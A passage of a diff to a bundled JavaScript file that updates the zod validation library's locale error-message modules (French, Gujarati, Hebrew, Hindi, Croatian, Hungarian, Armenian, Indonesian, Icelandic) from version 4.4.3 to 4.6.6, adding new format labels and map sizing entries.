${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -69183,13 +70486,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -69209,17 +70512,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -69245,12 +70549,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -69317,12 +70625,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -69375,6 +70797,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -69388,13 +70812,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -69512,12 +70941,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -69548,12 +71089,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -69635,17 +71180,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -69671,12 +71217,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -69744,11 +71294,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -69759,7 +71309,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -69788,6 +71338,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -69814,12 +71371,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -69892,17 +71453,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -69928,12 +71490,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -69999,17 +71565,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70035,12 +71602,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -70109,17 +71680,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// 